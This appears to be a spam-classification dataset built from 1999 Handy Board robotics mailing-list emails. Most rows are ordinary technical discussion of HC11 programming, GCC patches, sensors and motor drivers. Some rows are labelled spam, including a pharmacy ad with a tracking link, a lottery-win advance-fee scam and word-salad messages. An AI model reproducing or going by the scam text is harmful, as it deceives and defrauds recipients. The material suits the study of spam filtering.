Livick ,"Keith Hearn , Handyboard List ","Thu, 08 Apr 1999 11:58:12 -0700",Re: GCC 2.8.1 for HC11,"Keith, I have a reference for you. It is ""Microcomputer Engineering,"" 2nd ed. by Gene H. Miller. You can get it from one of the online book sellers, like amazon.com. It is around $85 or so. In this text is the whole range of things having to do with assembly language programming the HC11. It's detailed and I find it readable. I agree with you that there is not a lot having to do with programming of elements deep within the HC11, but there is enough if you *really* dig. I learned everything I know, which admittedly isn't much, off the internet, in just a few texts, and by studying other people's code as you do. Someday, I may even understand some of it! Gary Livick Keith Hearn wrote: > I've taken a look at Chuck's LCD code, and I agree that it's the best > I've come across. > > I spent last weekend studying how to program the HB in assembly. > There is a woeful lack of documentation for it. There is plenty of > docs on programming in IC, but below that level, you end up looking > at schematics. > > I do have the Motorola reference books on the 6811, and have no > problem figuring out how to program the SCI, SPI, the various > handshake modes, et. al., but figuring out how they relate to the > various handy board (and especially expansion board) connectors is > really tough. > > Is there something I've missed that describes how to do low level > programming on the handyboard? > > Just about everything I've figured out how to do came from reading > other people's code. > > So I've spent some hours lately reading the code other people have > written for the handyboard and the miniboard. And I really like > Chuck's libraries. > > BTW, if there's nothing out there that describes low-level programming > on the handyboard, I'll probably write up my notes on what I've > learned and make them available so future people don't have to go > through what I'm going through. > > Keith > > ",0,0 """Curt Mills, WE7U"" ",Keith Hearn ,"Thu, 08 Apr 1999 12:24:47 -0700",Re: GCC 2.8.1 for HC11 ,"On Thu, 8 Apr 1999, Keith Hearn wrote: > I spent last weekend studying how to program the HB in assembly. > There is a woeful lack of documentation for it. There is plenty of > docs on programming in IC, but below that level, you end up looking > at schematics. > > Is there something I've missed that describes how to do low level > programming on the handyboard? > > Just about everything I've figured out how to do came from reading > other people's code. I've been through Charles Hacker's Buffalo monitor code, the Miniboard GCC & ICC libraries, the Handyboard ICC libraries, and a few other sources, and looked at the schematics and data books a lot. That's the best way to get intimately familiar with the circuit and the language, but very time-consuming. It'd be great if someone were to write up some info for the people just starting into assembly. It's a difficult thing to take on if you haven't done it much before. Lot's to learn, lot's to get hung up on and few people to help. For that matter, once you cut loose from IC and go to any other compiler, you have to learn the hardware very well in order to make anything run on it. No safety net. Regarding Chuck's libraries: I'll be looking at them again to see what else I can port over (Steal... No, I guess it's called code re-use these days) to the GCC library. The LCD code was just the first thing I needed. The circular queue and detach-LCD-yet-still-run-code are nice features and I made sure to keep them. Same for multiple display formats. Never know when I might get a 20x4 or 40x2 display cheap somewhere. If I do, I want to be able to use it. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Keith Hearn ,Gary Livick ,"Thu, 08 Apr 1999 12:47:48 -0700",Re: GCC 2.8.1 for HC11 ,"The problem I have isn't programming the HC11. I picked that up with no problem by spending a day reading Motorola's reference manual (AKA the pink book - kindly provide free by Motorola via their web page). I've got a software background, and while my assembly experience is limited, it's just yet another language. And the pink book is fairly clear on what you have to write where to make the values you want go to the pins you want (or come from the pins you want). My problem is figuring out how the HC11 is used in the HB. Sure, I know that after doing an A-D conversion I can read the input from one of the ADR* registers, but how (other than reading other people's code) am I supposed to figure out that I have to first write 001 into the high three bits of 0x4000 if I want to read from analog ports 25-31? Where can I find out what pins connect through which mux to which I/O connector on the HB? And how on earth is anyone supposed to figure out how the LCD communications work without reading other people's code? I've read other people's code, I've read the pink book, I now understand how it works (yee gads! it's scary). But there's no way you'd ever figure it out just from reading HC11-specific info. And you'd have to have a degree in digital electronics to figure it out from the schematics. That sort of this is very specific to the handyboard design, not to the HC11. Keith In message <370CFC42.A977D06F@pacbell.net>, Gary Livick writes: > Keith, > > I have a reference for you. It is ""Microcomputer Engineering,"" 2nd ed. by Ge > ne H. > Miller. You can get it from one of the online book sellers, like amazon.com. > It > is around $85 or so. > > In this text is the whole range of things having to do with assembly language > programming the HC11. It's detailed and I find it readable. > > I agree with you that there is not a lot having to do with programming of ele > ments > deep within the HC11, but there is enough if you *really* dig. I learned > everything I know, which admittedly isn't much, off the internet, in just a f > ew > texts, and by studying other people's code as you do. Someday, I may even > understand some of it! > > Gary Livick > > > > Keith Hearn wrote: > > > I've taken a look at Chuck's LCD code, and I agree that it's the best > > I've come across. > > > > I spent last weekend studying how to program the HB in assembly. > > There is a woeful lack of documentation for it. There is plenty of > > docs on programming in IC, but below that level, you end up looking > > at schematics. > > > > I do have the Motorola reference books on the 6811, and have no > > problem figuring out how to program the SCI, SPI, the various > > handshake modes, et. al., but figuring out how they relate to the > > various handy board (and especially expansion board) connectors is > > really tough. > > > > Is there something I've missed that describes how to do low level > > programming on the handyboard? > > > > Just about everything I've figured out how to do came from reading > > other people's code. > > > > So I've spent some hours lately reading the code other people have > > written for the handyboard and the miniboard. And I really like > > Chuck's libraries. > > > > BTW, if there's nothing out there that describes low-level programming > > on the handyboard, I'll probably write up my notes on what I've > > learned and make them available so future people don't have to go > > through what I'm going through. > > > > Keith > > > > >",0,0 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Thu, 08 Apr 1999 21:14:51 -0400",class tomorrow + notes," * Reminder -- class tomorrow!! I'll try to arrive in class a few minutes early if there are any questions. * Updated web pages updated http://bioinfo.mbb.yale.edu/mbb447-99/lectures.htm check out http://bioinfo.mbb.yale.edu/mbb447b-99/todo.htm * Interesting lecture tomorrow by Bill Joy Friday 9 April 11:30 AM Auditorium 101, Luce Hall (34 Hillhouse) Bill Joy java and jini: towards reliable distributed computing ",0,1 Andre Philippi ,philippi@earthlink.net,"Thu, 08 Apr 1999 19:25:01 -0700",Sensor Question,"Hi, Just a quick question...What would be most effective ? An array of sensors (IR or sonar), or a single sensor on a continuously rotating base (assume 1 rotation every 2 secs...) ? Could someone here explain me the main functional differences of the 2 approaches, please? Also, since I'm at it... Recently I've seen a graph containing a typical beam pattern for the polaroid 6500 sonar (ftp://wirz.com/Polaroid_Sonar/6500.PDF)... Is the vertical shape of the beam patterns the same as the horizontal shape? Thank in advance, Andre. ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 Gary Livick ,Andre Philippi ,"Thu, 08 Apr 1999 20:36:37 -0700",Re: Sensor Question," Andre Philippi wrote: > Hi, > > Just a quick question...What would be most effective ? > > An array of sensors (IR or sonar), or a single sensor on a continuously > rotating base (assume 1 rotation every 2 secs...) ? > > Could someone here explain me the main functional differences of the 2 > approaches, please? > I use both and infrared ranging sensor and sonar. I have them both mounted on rotating bases. If you plan to do some serious work with your application, then you might find this approach a little difficult. The reason is that if your robot is moving, and you are recording ranges every few degrees through some total angle every two seconds, you will introduce errors related to the motion of the robot, ie; by the time you finish your sweep and examine the range map you have just built, the robot will be out of position from the earliest readings by some amount more or less related to speed. I suppose you could correct for the error with some fancy trig.... > > Also, since I'm at it... > > Recently I've seen a graph containing a typical beam pattern for the polaroid > 6500 sonar (ftp://wirz.com/Polaroid_Sonar/6500.PDF)... Is the vertical shape > of the beam patterns the same as the horizontal shape? The transducer for the sonar is not clocked, and is symmetric, so the pattern is the same in all directions. > Good luck, Gary Livick ",0,0 Ian Nieves ,handyboard@media.mit.edu,"Thu, 08 Apr 1999 23:46:07 -0400",Increasing current output to motors on HandyBoard,"I am looking to drive a radioshack motor off my HB. Its rated at 9V - 18V. It claims that at maximum efficiency it will draw 1.98 Amps. My HB uses the TI sn754410ne motor controller and is rated only up to 1 amp. If i replace this unit with a L293b stacked on top of an l293d (as on the HB FAQ), what kinds of current output would be safe. Is there some stacking that would allow more current to pass safely? (I am looking for a relatively simple solution that can be implemented quickly and easily.) Can i stack two TI sn754410ne on top of each other? thanks, Ian Nieves new HB owner ",0,0 Chuck McManis ,"Ian Nieves , handyboard@media.mit.edu","Thu, 08 Apr 1999 22:01:17 -0700",Re: Increasing current output to motors on HandyBoard,"At 11:46 PM 4/8/99 -0400, Ian Nieves wrote: > ...Is there >some stacking that would allow more current to pass safely? (I am >looking for a relatively simple solution that can be implemented quickly >and easily.) Can i stack two TI sn754410ne on top of each other? Stacking the chips is doable but you will toast them when you get near their current limit. An easier solution is to use the TI chips to drive power transistors that are acting as voltage followers. This lets them take the current. Alternatively you can pull the L293 chips out of the board and wire the sockets up to some National LM18200 H-bridges that will handle these motors at 12volts. --Chuck ",0,0 Gary Livick ,Chuck McManis ,"Thu, 08 Apr 1999 22:25:19 -0700",Re: Increasing current output to motors on HandyBoard,"Another solution to this which is easier but more expensive is to use the output of the motor driver chip to drive solid state relays. You need the relays that use 5 volts for control and that will switch DC. The relays I use have flyback diodes in them, but I don't know that all do so a user would need to add them if they were not included. Four are needed. Gary Livick Chuck McManis wrote: > At 11:46 PM 4/8/99 -0400, Ian Nieves wrote: > > ...Is there > >some stacking that would allow more current to pass safely? (I am > >looking for a relatively simple solution that can be implemented quickly > >and easily.) Can i stack two TI sn754410ne on top of each other? > > Stacking the chips is doable but you will toast them when you get near > their current limit. An easier solution is to use the TI chips to drive > power transistors that are acting as voltage followers. This lets them take > the current. Alternatively you can pull the L293 chips out of the board and > wire the sockets up to some National LM18200 H-bridges that will handle > these motors at 12volts. > > --Chuck ",0,0 """SHETTI.NITIN.MANGESH"" ",Stefano Falconetti ,"Fri, 09 Apr 1999 11:43:32 -0500",Re: interactive C,"Dear Stefano, Visit el.www.media.mit.edu/groups/el/projects/handy-board/software/index.html to find about the needed software. Mostly you will be needing ic.exe and some library files. You may need a new pcode. Yours sincerely, Nitin ",0,0 """SHETTI.NITIN.MANGESH"" ",Kat ,"Fri, 09 Apr 1999 11:48:43 -0500",Re: Multi-Processing,"Dear Kat, Try using music.c that I had downloaded and I have sent as an attachment.This file cantains functions which play music on the piezobeeper. Yours sincerely, Nitin On Thu, 8 Apr 1999, Kat wrote: > Hello all- > I am using my Handy Board on a robot. My team and and I thought it would > be really cool if we could get it to play music while it is moving. Is > there a way to do this? In my testing it seems that it only does one or > the other. If anyone could point me in the right direction that would be > wonderful. > Thank you, > Kathy > > ",0,0 Stefano Falconetti ,"""SHETTI.NITIN.MANGESH"" ","Fri, 09 Apr 1999 08:49:30 +0200",Re: interactive C,"I'll follow your suggest, thanks for the time you gave me. It has been very useful! Stefano ---------- > From: SHETTI.NITIN.MANGESH > To: Stefano Falconetti > Cc: handyboard discussion list > Subject: Re: interactive C > Date: 09 April 1999 18:43 > > Dear Stefano, > Visit > el.www.media.mit.edu/groups/el/projects/handy-board/software/index.html > to find about the needed software. > Mostly you will be needing ic.exe and some library files. You may need a > new pcode. > Yours sincerely, > Nitin",0,0 Stefano Falconetti ,"handyboard discussion list , maja@robotics.is.tohoku.ac.jp","Fri, 09 Apr 1999 08:57:04 +0200",Re : -> Interactive C,"You help has been really useful, i'm going to visit thi slink immediately! Stefano Falconetti ",0,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Fri, 09 Apr 1999 12:22:08 -0500",Vesit rover,"Dear friends, You know that we at Vesit, Bombay were making a rover using the handy board. Learn more about it at http://members.tripod.com/ieeevesitrover Yours sincerely, Nitin ",0,1 MAR ERICSON ,Gary Livick ,"Fri, 09 Apr 1999 11:01:50 -0400",Re: Increasing current output to motors on HandyBoard,"I wonder if this would last since a relay is mechanical and I would assume that it would wear with all that ""switching"". Doe anyone have any experience with this? Thanks. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 8 Apr 1999, Gary Livick wrote: > Another solution to this which is easier but more expensive is to use the > output of the motor driver chip to drive solid state relays. You need the > relays that use 5 volts for control and that will switch DC. The relays I use > have flyback diodes in them, but I don't know that all do so a user would need > to add them if they were not included. > > Four are needed. > > Gary Livick > > > Chuck McManis wrote: > > > At 11:46 PM 4/8/99 -0400, Ian Nieves wrote: > > > ...Is there > > >some stacking that would allow more current to pass safely? (I am > > >looking for a relatively simple solution that can be implemented quickly > > >and easily.) Can i stack two TI sn754410ne on top of each other? > > > > Stacking the chips is doable but you will toast them when you get near > > their current limit. An easier solution is to use the TI chips to drive > > power transistors that are acting as voltage followers. This lets them take > > the current. Alternatively you can pull the L293 chips out of the board and > > wire the sockets up to some National LM18200 H-bridges that will handle > > these motors at 12volts. > > > > --Chuck > > ",0,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Fri, 09 Apr 1999 12:37:21 -0400",power supply questions," Hello all, I want to power the handy board using the 250watt 12V 9amp power supply of a PC. Any suggestions as to what I should take into consideration before attempting this. A buffer? A fuse? A straight hook up? Why is the HB not supposed to be powered by a regulated power supply? Any input welcome. Side note: The SIMTEK nvSRAM part number STK15C88-W45 was a direct plug-in, I have found no need to build a power down circuit mentioned previously in the mailing list. Having tested all ways of losing power, memory is retained. Casey Russell ",0,0 Donald Reuter ,nelson3@jcn1.com,"Fri, 09 Apr 1999 09:44:52 -0700",Re: PCB coating,"First use TINNIT Bright Tin Plate No. ER18 (cheap and does the job) available at Circuit Specialists and Jameco. A better tin plate already mixed can be found at JDR Micro Devices. Then use M.G. Chemicals Conformal Coating which is a flexible acrylic Lacquer available at Circuit Specialists. Used properly, your PCB's can look and perform as good as any commercial boards. Have Fun! Don Reuter > I have been making my own PCBs and would like to coat the copper > side with something to keep the copper in good shape, does anyone > have any suggestions?. _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 """Curt Mills, WE7U"" ",Keith Hearn ,"Fri, 09 Apr 1999 10:48:54 -0700",Re: GCC 2.8.1 for HC11 ,"On Thu, 8 Apr 1999, Keith Hearn wrote: > Where can I find out what pins connect through which mux to which > I/O connector on the HB? You have to get good at reading schematics in this case, period. Schematics are very hard to read at first, but it does get easier quickly. If someone were to write up details on how to access various devices on the Handyboard though (including small code snipets for examples), I'm sure many people would benefit from it. > And how on earth is anyone supposed to figure out how the LCD > communications work without reading other people's code? I've read > other people's code, I've read the pink book, I now understand how > it works (yee gads! it's scary). But there's no way you'd ever figure > it out just from reading HC11-specific info. And you'd have to have > a degree in digital electronics to figure it out from the > schematics. > > That sort of this is very specific to the handyboard design, not to > the HC11. Agreed. Even the data books state that the mode the Handyboard's processor is running in should not normally be used, and the method of accessing the LCD is not immediately obvious just by looking at the schematic. There are some specific things in the Handyboard design that were done to save a chip or two but make the programming more difficult, unless you already have something like Interactive C hiding all of these details from you. I must say I sympathize with your thoughts, as I've been down in the details of the hardware lately, and I agree that the LCD stuff is scary. The only reason it works at all is that the Handyboard is running in Special Test mode, which allows you to change processor states at will. I lucked out in that Chuck McManis wrote some very nice code that I could borrow from. As it was I had to hook a scopemeter up to it to see where my software had gone wrong. I think they assumed people would typically be using Interactive C, therefore the difficult parts of the hardware would be hidden. I think they were right: I've seen very few posts from people coding in anything except IC. Handyboard & IC were designed as a learning platform and they appear to have been very successful at that. I'm trying to twist it into something entirely different, so I certainly can't blame the designers for not thinking of MY application. If you need any help in writing something up, I'd be glad to contribute. Better make it quick though, my brain empties quickly so that I have spare room for the next project (at least that's my excuse). I'll probably know a lot about the low-level stuff for a few weeks at best, then I'll rely on the GCC Handyboard libraries to hide the details from me and continue on. I've also got my eye on a 68332 board, so I may switch streams altogether in the near future. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Keith Hearn ,"""Curt Mills, WE7U"" ","Fri, 09 Apr 1999 12:15:06 -0700",Re: GCC 2.8.1 for HC11 ,"In message , ""Curt M ills, WE7U"" writes: > On Thu, 8 Apr 1999, Keith Hearn wrote: > > > Where can I find out what pins connect through which mux to which > > I/O connector on the HB? > > You have to get good at reading schematics in this case, period. > Schematics are very hard to read at first, but it does get easier quickly. > If someone were to write up details on how to access various devices on > the Handyboard though (including small code snipets for examples), I'm > sure many people would benefit from it. I think I'm in the process of writing up such a document. Combined with Fred's guide to programming the 6811 (which covers the miniboard nicely), hopefully this will fill the gap. > Agreed. Even the data books state that the mode the Handyboard's > processor is running in should not normally be used, and the method of > accessing the LCD is not immediately obvious just by looking at the > schematic. There are some specific things in the Handyboard design that > were done to save a chip or two but make the programming more difficult, > unless you already have something like Interactive C hiding all of these > details from you. And using IC libraries works well, up until you have a new piece of hardware that isn't a simple digital/analog input/output, Then you're stuck. For instance, when I first got a GP2D02 I tried writing IC code to use it, but IC is too slow for making those pulses that have to be less than .2m-sec. So my choices were: a) Wait for someone else to write a driver, and hope that it wasn't hard-coded for their specific usage (number of sensors and which ports). or... b) Write my own driver in assembly. Barry Brouillette very kindly provided a drivers for the GP2D02, but they expect to find 2 GP2D02's on specific input and output ports. If I only have 1 GP2D02 (or 3 or 4), or I want to use different ports, his code doesn't solve my problem. Ok, so I have to write my own driver. I can use his as an example, but what do I do the next time I pick up a piece of hardware for which no one has written a driver? I think IC is great for people who may not have much programming experience and who only want to use supported hardware. That's what it's written for and it does a great job at it. But we need to provide a ""next step"" up for those who want to delve deeper (without having to go as deep as parsing schematics). I'll try to a first draft together over the weekend. I've got the basic stuff like the digital and analog inputs and outputs, the timers and interrupts (although I don't know which TOC's & TIC's are used for what under IC), and the LCD stuff (mostly kinda sorta). I still haven't looked into the more esoteric stuff, like the IR interface and the Polaroid ultrasonic interface. Any help in the form of descriptions of what you have to do to program those would sure be helpful. Especially the ultrasonic, since I don't have one of those to play with. > I must say I sympathize with your thoughts, as I've been down in the > details of the hardware lately, and I agree that the LCD stuff is scary. > The only reason it works at all is that the Handyboard is running in > Special Test mode, which allows you to change processor states at will. I > lucked out in that Chuck McManis wrote some very nice code that I could > borrow from. As it was I had to hook a scopemeter up to it to see where > my software had gone wrong. I was working on getting my LCD code working last night. I don't have a scope, but I found that I could stick some low-current LCDs (from Radio Shack) in the expansion board digital output and use them as a rudimentary form of ""debug prints"". I just do: ldaa 0x01 staa 0x5000 I'm sure Curt and many others of you understand this, but here's an explanation for those who's understanding of the HB is at the level mine was two weeks ago: Writing an 8-bit value into any address in the range 0x5000-0x5ff sets or clears the digital outputs on the expansion board. Writing a 0x00 clears them all, writing 0xff sets them all, and any value in between sets/clears the outputs corresponding to the binary bits in the value. Digital-0 is the least significant bit, digital-7 is the most significant. So 0x01 sets d-0 and clears the rest, 0x02 sets d-1 and clears the rest, 0x03 sets d-0 & d-1 and clears the rest, and so on. You have to make sure you're not stepping on a value that's in register A and going to be used later, of course. You can also use register B is register A is busy. And don't forget that register D *is* registers A & B. Sticking the code just before a 'ldd' is safe, since the values are about to get overwritten. I'm using Curt's gcc-2.8.1 port, and if you don't turn on optimizations, there are *tons* of placed where it'll store D to a pseudo-register, the immediately turn around and load it back from the same register (these go away if you compile with -O). These provide ample opportunity to insert debugging code. > I think they assumed people would typically be using Interactive C, > therefore the difficult parts of the hardware would be hidden. I think > they were right: I've seen very few posts from people coding in anything > except IC. Handyboard & IC were designed as a learning platform and they > appear to have been very successful at that. I'm trying to twist it into > something entirely different, so I certainly can't blame the designers for > not thinking of MY application. Yup, I agree. The HB & IC are great for students or anyone with limited programming experience. Or those who just don't want to twiddle the bits & bytes. I'm really glad Fred & company created them. The alternatives would be to design our own MCU boards (not something I'll be doing this year, or probably ever), or use something like Lego's RCX, which is an order of magnitude simpler and less flexible. Keith",0,0 Gary Livick ,Keith Hearn ,"Fri, 09 Apr 1999 13:00:38 -0700",Re: GCC 2.8.1 for HC11," Keith Hearn wrote: > > And using IC libraries works well, up until you have a new piece of > hardware that isn't a simple digital/analog input/output, Then you're > stuck. For instance, when I first got a GP2D02 I tried writing IC > code to use it, but IC is too slow for making those pulses that have > to be less than .2m-sec. So my choices were: > > a) Wait for someone else to write a driver, and hope that it wasn't > hard-coded for their specific usage (number of sensors and which > ports). or... > > b) Write my own driver in assembly. > > Barry Brouillette very kindly provided a drivers for the GP2D02, but > they expect to find 2 GP2D02's on specific input and output ports. > If I only have 1 GP2D02 (or 3 or 4), or I want to use different > ports, his code doesn't solve my problem. > > Ok, so I have to write my own driver. I can use his as an example, > but what do I do the next time I pick up a piece of hardware for > which no one has written a driver? You can have a copy of mine if you like. You can relocate it to any available digital ports with ease. It is set up for a single sensor, but you can easily add as many as you have ports for. > > > I think IC is great for people who may not have much programming > experience and who only want to use supported hardware. That's what > it's written for and it does a great job at it. But we need > to provide a ""next step"" up for those who want to delve deeper > (without having to go as deep as parsing schematics). For people using the Handy Board in small robotics applications, IC is plenty in my opinion. I am just now trying to learn the full C language and the use of compilers. I know only what I picked up from using IC about the former, and nothing about the latter. Talk about major pain. But what I am discovering is that IC is adequate for probably 98% of robotics users, even when the need arises to add strange sensors. It's us few here addressing this thread who seem to want more, and for what I am not quite sure. > Yup, I agree. The HB & IC are great for students or anyone with > limited programming experience. That's me. Limited programming experience. > Or those who just don't want to > twiddle the bits & bytes. Often have to do this anyway. I have added all kinds of stuff to my Robot, including a second controller, voice, speech recognition, sonar and the GP2D02, and it is all programmed in either IC or ICB. I find the Handy Board and IC to be great tools, even given their limits. I am watching with great interest the work of you people in extending the upper limits of common understanding of the HC11, and the range of tools and documentation. Working at your level, you are on your own. If the information already existed in a place where you could easily access it, you would be doing some other impossible thing instead, so might as well enjoy this endeavor. Gary Livick http://www.lightwaverobotics.com ",0,1 """Curt Mills, WE7U"" ",Handyboard@media.mit.edu,"Fri, 09 Apr 1999 14:05:07 -0700",GCC/HC11 small patch," I contacted the original person who did the HC11 port to gcc (Otto Lind), and he pointed me to a patch for it. If you're using gcc-2.8.1 with the HC11 patches in it, you may want to try this: At line 502 of config/m6811/m6811.c, change from: { sprintf (buf, ""stab\\t%%0+1\\t; %s"", comment); } to: { output_asm_insn (""clra"", operands); sprintf (buf, ""std\\t%%0\\t; %s"", comment); } Note: A new line was added, ""stab"" changed to ""std"", and the ""+1"" text was deleted. ""make LANGUAGES=c"" ""make LANGUAGES=c install"" It compiles fine. I haven't tried this patch yet to see if it fixes the array indexing problem, but I'll try it tonight. I'll update the patch file on the ftp site sometime this weekend to incorporate the mod and some README changes that were sent to me. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 """Despotism D. Pollinates"" ",Bait ,"Fri, 09 Apr 1999 12:50:21 -0400",Premier,"Man's Health Anti-Depressants Antibiotics Cholesterol Diabetes Diuretic Pain Relief Sexual Health Sleep Aids Weight Loss and more on Premier Pharnmacy http://crosborde.com/?UHJENDU1NaQBhFWlZBR1ZbUHRQXBxQVQ== ghfgdrtpu U1NaQBhFWlZBR1ZbUHRQXBxQVQ== ",1,1 John Vaughn ,Keith Hearn ,"Fri, 09 Apr 1999 11:05:21 -0400",Re: GCC 2.8.1 for HC11," Keith Hearn wrote: > > Is there something I've missed that describes how to do low level > programming on the handyboard? My favorite 68HC11 text resource is: 68HC11 Microcontroller by Joseph D. Greenfield Amazon Price: $87.50 (Wow! I'm sure I didn't spend nearly this much when I bought mine 3 years ago...) The sections on using the 68HC11 timers for interrupts, pulse accumulator, input capture etc are very nicely done. This book uses BUFFALO and EVB as the platform for assembly programming and starts pretty much at the very beginning. Recommended except for the price. John Vaughn Hobart & William Smith Colleges Geneva, NY 14456 vaughn@hws.edu ",0,0 """K.L.McKinnon"" ",MAR ERICSON ,"Fri, 09 Apr 1999 20:25:29 -0400",Re: Increasing current output to motors on HandyBoard,"Haven't actually tried it, but I was thinking of the same sort of thing. Use a FET for PWM and a DPDT relay for direction. practically speaking, if you only switched the relay when the FET was off, no power transition, etc.... If your 'bot moves forward more than back than using a default state (N/C) for the forward motion, means current to the relay is only consummed during the reverse movement. A single FET with a relay s(w)hould prove to be quite a bit more space conservative and likely cost effective as well. Comments? K.L. McKinnon MAR ERICSON wrote: > > I wonder if this would last since a relay is mechanical and I would > assume that it would wear with all that ""switching"". Doe anyone have any > experience with this? > > Thanks. > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Thu, 8 Apr 1999, Gary Livick wrote: > > > Another solution to this which is easier but more expensive is to use the > > output of the motor driver chip to drive solid state relays. You need the > > relays that use 5 volts for control and that will switch DC. The relays I use > > have flyback diodes in them, but I don't know that all do so a user would need > > to add them if they were not included. > > > > Four are needed. > > > > Gary Livick > > > > > > Chuck McManis wrote: > > > > > At 11:46 PM 4/8/99 -0400, Ian Nieves wrote: > > > > ...Is there > > > >some stacking that would allow more current to pass safely? (I am > > > >looking for a relatively simple solution that can be implemented quickly > > > >and easily.) Can i stack two TI sn754410ne on top of each other? > > > > > > Stacking the chips is doable but you will toast them when you get near > > > their current limit. An easier solution is to use the TI chips to drive > > > power transistors that are acting as voltage followers. This lets them take > > > the current. Alternatively you can pull the L293 chips out of the board and > > > wire the sockets up to some National LM18200 H-bridges that will handle > > > these motors at 12volts. > > > > > > --Chuck > > > > ",0,0 Gary Livick ,"""K.L.McKinnon"" ","Fri, 09 Apr 1999 17:46:59 -0700",Re: Increasing current output to motors on HandyBoard,"Howdy, My original suggestion was to use *solid state* relays. They don't have any contacts. I use them plugged right into my Rug Warrior board at the motor output ports (would work the same on my Handy Board, but I have it on a smaller base, and the L293D is big enough for that). The relays switch very fast, being solid state. They are rated at 6 amps at 36 volts, and were $7 each. Smaller ones are less expensive, but their main advantage is ease of use. Gary Livick K.L.McKinnon wrote: > Haven't actually tried it, but I was thinking of the same sort of thing. > Use a FET for PWM and a DPDT relay for direction. practically speaking, > if you only switched the relay when the FET was off, no power > transition, etc.... > If your 'bot moves forward more than back than using a default state > (N/C) for the forward motion, means current to the relay is only > consummed during the reverse movement. > A single FET with a relay s(w)hould prove to be quite a bit more space > conservative and likely cost effective as well. > Comments? > > K.L. McKinnon > > MAR ERICSON wrote: > > > > I wonder if this would last since a relay is mechanical and I would > > assume that it would wear with all that ""switching"". Doe anyone have any > > experience with this? > > > > Thanks. > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 ",0,0 MAR ERICSON ,Gary Livick ,"Fri, 09 Apr 1999 21:57:17 -0400",Re: Increasing current output to motors on HandyBoard,"So that's like $28 for the H excluding the protecting circuitry? How much did this setup cost for both motors? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 9 Apr 1999, Gary Livick wrote: > Howdy, > > My original suggestion was to use *solid state* relays. They don't have any > contacts. I use them plugged right into my Rug Warrior board at the motor output > ports (would work the same on my Handy Board, but I have it on a smaller base, and > the L293D is big enough for that). The relays switch very fast, being solid state. > They are rated at 6 amps at 36 volts, and were $7 each. Smaller ones are less > expensive, but their main advantage is ease of use. > > Gary Livick > > > K.L.McKinnon wrote: > > > Haven't actually tried it, but I was thinking of the same sort of thing. > > Use a FET for PWM and a DPDT relay for direction. practically speaking, > > if you only switched the relay when the FET was off, no power > > transition, etc.... > > If your 'bot moves forward more than back than using a default state > > (N/C) for the forward motion, means current to the relay is only > > consummed during the reverse movement. > > A single FET with a relay s(w)hould prove to be quite a bit more space > > conservative and likely cost effective as well. > > Comments? > > > > K.L. McKinnon > > > > MAR ERICSON wrote: > > > > > > I wonder if this would last since a relay is mechanical and I would > > > assume that it would wear with all that ""switching"". Doe anyone have any > > > experience with this? > > > > > > Thanks. > > > > > > ----------- > > > ericson mar > > > Robotics Consultant > > > mar@cooper.edu > > > (212)353-4356 > > ",0,0 Sara Morgan ,handyboard@media.mit.edu,"Sat, 10 Apr 1999 02:06:59 -0500",body fat troubling you?,"! sickroom may lionel ! infinitive some profiteer , zippy ",1,0 """Mrs.Luara Guie"" ",Handyboard@Media.Mit.Edu,"Sat, 10 Apr 1999 10:17:53 +0200",CONGRATULATION!!!(YOU E-MAIL WON),"SUPER ENAL LOTTO INTERNATIONAL. REF:PL2/209318/09 BATCH:18/103/HME. Dear Winner, We are pleased to inform you of the result of the Lottery Winners International programs held on the 20TH April 2006. Your e- mail address attached to ticketnumber 436425795822-5022with serial number 6614102, batch number 8561513507,lottery ref number 7675213911 and drew lucky numbers 7-9-4-17-34-44 which consequently won in the 1st category,you have therefore been approved for a lump sum pay out of (€1.ooo.ooo.oo One Million Euro) CONGRATULATIONS!!! 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Gary Livick http://www.lightwaverobotics.com MAR ERICSON wrote: > So that's like $28 for the H excluding the protecting circuitry? How much > did this setup cost for both motors? > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > ",0,1 Devin Somers ,handyboard@media.mit.edu,"Sat, 10 Apr 1999 14:03:49 -0500",American getting crazy over it,", bullhide may chromium but clemson ! antony a thorny ",1,0 Bette Quiroz ,Handyboard@media.mit.edu,"Sat, 10 Apr 1999 16:27:41 -0500",What's happening in fitness world?,"and edinburgh or deadline try thereon ! rejuvenate be grievance ",1,0 Marian gece ,Handyboard@media.mit.edu,"Wed, 10 Mar 1999 15:04:48 +0000",pay for your extension,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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I am using two subroutine in a multitasking. start_process(ir()); start_process(detect()); Both subroutine should run for 5 ms(default). Consider an example that the subroutine detect() require more than 5 ms for complete execution. When the main program runs ir() will be executed for first 5 ms then detect() will be executed for next 5ms. At the end of first 10 ms ir() will be executed again for 5ms. Now after 15ms when detect() will be executed, will it be executed from where it was left or execution will start from the start of subroutine?. If it start the execution of subroutine from start every time, do I have to increase the execution time of 